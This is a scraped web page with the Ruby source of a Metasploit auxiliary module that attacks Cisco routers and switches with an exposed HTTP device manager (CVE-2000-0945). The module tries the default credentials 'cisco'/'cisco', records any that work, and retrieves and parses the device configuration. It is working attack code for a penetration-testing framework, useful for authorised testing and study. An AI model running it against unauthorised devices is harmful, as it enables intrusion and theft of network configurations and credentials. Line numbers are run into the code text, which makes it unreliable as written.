Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/http/cisco_device_manager.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4567class MetasploitModule < Msf::Auxiliary89# Exploit mixins should be called first10include Msf::Exploit::Remote::HttpClient1112# Include Cisco utility methods13include Msf::Auxiliary::Cisco1415# Scanner mixin should be near last16include Msf::Auxiliary::Scanner1718def initialize(info={})19super(update_info(info,20'Name' => 'Cisco Device HTTP Device Manager Access',21'Description' => %q{22This module gathers data from a Cisco device (router or switch) with the device manager23web interface exposed. The HttpUsername and HttpPassword options can be used to specify24authentication.25},26'Author' => [ 'hdm' ],27'License' => MSF_LICENSE,28'References' =>29[30[ 'BID', '1846'],31[ 'CVE', '2000-0945'],32[ 'OSVDB', '444'],33],34'DisclosureDate' => '2000-10-26'))35register_options(36[37OptString.new('HttpUsername', [true, 'The HTTP username to specify for basic authentication', 'cisco']),38OptString.new('HttpPassword', [true, 'The HTTP password to specify for basic authentication', 'cisco'])39])40end4142def run_host(ip)4344res = send_request_cgi({45'uri' => "/exec/show/version/CR",46'method' => 'GET'47}, 20)4849if res and res.code == 40150print_error("#{rhost}:#{rport} Failed to authenticate to this device")51return52end5354if res and res.code != 20055print_error("#{rhost}:#{rport} Unexpected response code from this device #{res.code}")56return57end5859if res and res.body and res.body =~ /Cisco (Internetwork Operating System|IOS) Software/60print_good("#{rhost}:#{rport} Successfully authenticated to this device")61store_valid_credential(user: datastore['HttpUsername'], private: datastore['HttpPassword'])6263# Report a vulnerability only if no password was specified64if datastore['HttpPassword'].to_s.length == 06566report_vuln(67{68:host => rhost,69:port => rport,70:proto => 'tcp',71:name => self.name,72:info => "Module #{self.fullname} successfully accessed http://#{rhost}:#{rport}/exec/show/version/CR",73:refs => self.references,74:exploited_at => Time.now.utc75}76)7778end7980res = send_request_cgi({81'uri' => "/exec/show/config/CR",82'method' => 'GET'83}, 20)8485if res and res.body and res.body =~ /<FORM METHOD([^\>]+)\>(.*)/mi86config = $2.gsub(/<\/[A-Z].*/i, '').strip87print_good("#{rhost}:#{rport} Processing the configuration file...")88cisco_ios_config_eater(rhost, rport, config)89else90print_error("#{rhost}:#{rport} Error: could not retrieve the IOS configuration")91end9293end9495end96end979899